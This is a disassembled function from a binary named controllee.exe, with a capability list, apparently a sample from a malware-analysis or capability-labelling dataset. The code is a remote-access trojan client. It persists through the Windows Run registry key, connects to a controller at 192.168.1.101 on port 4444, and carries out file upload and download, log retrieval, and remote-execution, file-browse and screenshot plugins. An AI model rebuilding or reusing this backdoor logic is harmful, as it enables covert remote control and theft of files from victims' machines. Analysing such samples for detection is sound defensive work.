Function at 0x403fc0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Persist via run registry key
Read file on windows
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xa08
mov eax, dword [0x45901c]
xor eax, esp
mov dword [esp + 0xa04], eax
push esi
push edi
push 0x200
lea eax, [esp + 0x1fc]
push 0
push eax
call fcn.00420ae0
add esp, 0xc
lea eax, [esp + 0x808]
push 0x200
push 0
push eax
call fcn.00420ae0
add esp, 0xc
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
push 0x45c39c
push 0x4520ac
push str.4444
call fcn.004016e0
add esp, 0xc
lea eax, [esp + 0x808]
push eax
push str.___Nickname:__s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
push dword [0x45c39c]
push str.192.168.1.101
push str.___IP:_s_Port:_d_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
push 0x208
lea eax, [esp + 0x40c]
push 0
push eax
call fcn.00420ae0
add esp, 0x1c
lea eax, [esp + 0x65c]
mov ecx, 0x17
lea edi, [esp + 0x600]
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
rep movsd dword es:[edi], dword [esi]
push 0x1ac
push 0
push eax
call fcn.00420ae0
add esp, 0xc
mov dword [esp + 8], 0
lea eax, [esp + 0x3f8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
lea eax, [esp + 0xc]
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x61c]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40411d
call esi
push eax
push str.___create_key_error__last_code:__d_n_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
jmp 0x40414e
lea eax, [esp + 0x3f8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 1]
push eax
lea eax, [esp + 0x3fc]
push eax
push 1
push 0
push str.Test
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push str.jFNbmgqFBg23VBF
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4041ad
call esi
cmp eax, 0xb7
jne 0x4041ad
push str.Process_has_executed.
push str.____s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0xa04]
xor ecx, esp
call fcn.004087d4
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop dword [eax]
nop word [eax + eax]
lea eax, [esp + 0x3f8]
mov word [esp + 0x34], 0x100
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4041ee
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esp + 0x18], eax
mov esi, dword [0x45c39c]
mov eax, 2
push esi
mov word [esp + 0x3c], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.192.168.1.101
mov word [esp + 0x3e], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
push 0x10
push eax
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x404749
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.192.168.1.101]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x1b], al
test al, al
jne 0x404240
push 0x188
lea eax, [esp + 0x4c]
mov dword [esp + 0x34], esi
push 0
push eax
call fcn.00420ae0
add esp, 0xc
lea edx, [esp + 0x18]
lea ecx, [esp + 0x48]
call fcn.00404ee0
push 0x188
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x20]
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
push str.___Server_connected_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 8
cmp dword [esp + 0x10], 0
jne 0x404761
nop dword [eax]
lea eax, [esp + 0x14]
push eax
push 0x1ff
lea eax, [esp + 0x200]
push eax
lea ecx, [esp + 0x24]
call sym.controllee.exe_public:_int___thiscall_MySocket::Recv_char___int__int__
cmp eax, 0xffffffff
je 0x404761
mov eax, dword [esp + 0x1f8]
lea ecx, [eax - 3]
cmp ecx, 9
ja case.0x4042e7.6
jmp dword [ecx*4 + 0x404790]
lea eax, [esp + 0x200]
push 0x452338
push eax
call fcn.0042a00b
mov edi, eax
add esp, 8
mov dword [esp + 8], edi
test edi, edi
jne 0x40432f
push 0x45233c
push str.____s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
jmp 0x4043f1
push 2
push 0
push edi
call fcn.0042b364
add esp, 0xc
push edi
call fcn.0042b082
add esp, 4
mov esi, eax
mov dword [esp + 0xc], esi
push 0
push 0
push edi
call fcn.0042b364
add esp, 0xc
push esi
push str.___File_size:__d_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
mov dword [esp + 0x1e0], 0
lea eax, [esp + 0x1d0]
xorps xmm0, xmm0
movaps xmmword [esp + 0x1d0], xmm0
push esi
push 0x4520ac
push eax
call fcn.00401690
add esp, 0xc
inc esi
push esi
call fcn.00408c97
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.00420ae0
mov esi, dword [esp + 0x18]
add esp, 0xc
mov byte [edi], 0
push dword [esp + 8]
push esi
push 1
push edi
call fcn.0042b64d
push dword [esp + 0x18]
call fcn.0042a573
add esp, 0x14
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
lea ecx, [esp + 0x20]
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
push edi
call fcn.00408c92
add esp, 4
lea eax, [esp + 0x200]
push eax
push str.___Download_file_instruction:__s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
jmp case.0x4046d2.4
lea eax, [esp + 0x204]
push eax
push dword [esp + 0x204]
push str.___Upload_file_instruction:_size:__d_name:__s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
mov eax, dword [esp + 0x210]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
lea esi, [eax + 1]
push esi
call fcn.00408c97
add esp, 0x14
mov edi, eax
push esi
push 0
push edi
call fcn.00420ae0
add esp, 0xc
mov byte [edi], 0
lea eax, [esp + 0xc]
lea ecx, [esp + 0x18]
push eax
push esi
push edi
call sym.controllee.exe_public:_int___thiscall_MySocket::Recv_char___int__int__
mov ecx, dword [esp + 0xc]
cmp ecx, 1
jl 0x4044da
xor eax, eax
test ecx, ecx
jle 0x4044da
nop
cmp byte [eax + edi], 0
jne 0x40449d
inc eax
cmp eax, ecx
jl 0x404490
jmp 0x4044da
lea eax, [esp + 0x204]
push 0x452370
push eax
call fcn.0042a00b
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
jne 0x4044f5
lea eax, [esp + 0x204]
push eax
push str.___Open_file__s_error_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
push 0xd
push str.Upload_failed
lea ecx, [esp + 0x20]
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp case.0x4046d2.4
push eax
push dword [esp + 0xc]
push 1
push edi
call fcn.0042a816
push dword [esp + 0x1c]
mov esi, eax
call fcn.0042a4a7
add esp, 0x14
push dword [esp + 0xc]
call fcn.0042a573
mov eax, dword [esp + 0xc]
add esp, 4
cmp esi, eax
jne 0x404558
lea eax, [esp + 0x204]
push eax
push str.___Write_file__s_success_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
lea ecx, [esp + 0x18]
push 9
push str.Upload_OK
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
mov eax, dword [esp + 8]
push eax
push 0
push edi
call fcn.00420ae0
add esp, 0xc
push edi
call fcn.00408c92
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 4
jmp case.0x4046d2.4
push str.Get_log_list
push str.____s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
lea ecx, [esp + 0x18]
call fcn.00405080
jmp case.0x4046d2.4
lea eax, [esp + 0x200]
push eax
push str.___Change_nickname__s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
push 0x452034
push str.nickname
call fcn.0042a00b
mov esi, eax
add esp, 8
test esi, esi
jne 0x4045f5
push str.___File_open_failed_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
jmp 0x404722
lea ecx, [esp + 0x200]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404600
push esi
sub ecx, edx
lea eax, [esp + 0x204]
push ecx
push 1
push eax
call fcn.0042a816
push esi
call fcn.0042a573
add esp, 0x14
jmp case.0x4046d2.4
lea eax, [esp + 0x200]
push eax
push str.___Verify_plugin__s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
lea eax, [esp + 0x200]
push eax
call edi
test eax, eax
je 0x404670
mov ecx, 9
mov eax, str.__GotIt__
push ecx
push eax
lea ecx, [esp + 0x20]
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
jmp case.0x4046d2.4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.___Load_library_error:__d_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
mov ecx, 0x10
mov eax, str.__NoSuchPlugin__
push ecx
push eax
lea ecx, [esp + 0x20]
call sym.controllee.exe_public:_int___thiscall_MySocket::Send_char___int_
jmp case.0x4046d2.4
push str.Close_client
push str.____s_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 0xc
mov dword [esp + 0x10], 1
jmp case.0x4046d2.4
cmp eax, 7
ja case.0x4046d2.4
jmp dword [eax*4 + 0x4047b8]
push str.RCE.dll
jmp 0x4046f3
push str.FileBrowse.dll
jmp 0x4046f3
push str.ScreenShot.dll
jmp 0x4046f3
push str.screenhelp.dll
call edi
test eax, eax
je case.0x4046d2.4
push str.Exec
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je case.0x4046d2.4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1f8]
push eax
lea eax, [esp + 0x1c]
push eax
call esi
add esp, 8
push 0x200
lea eax, [esp + 0x1fc]
push 0
push eax
call fcn.00420ae0
add esp, 0xc
cmp dword [esp + 0x10], 0
je 0x4042b0
jmp 0x404761
push str.___Server_disconnect_n
push 1
call fcn.0042a0ea
add esp, 4
push eax
call fcn.00403270
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x10], 0
je 0x4041c0
mov ecx, dword [esp + 0xa0c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.004087d4
mov esp, ebp
pop ebp
ret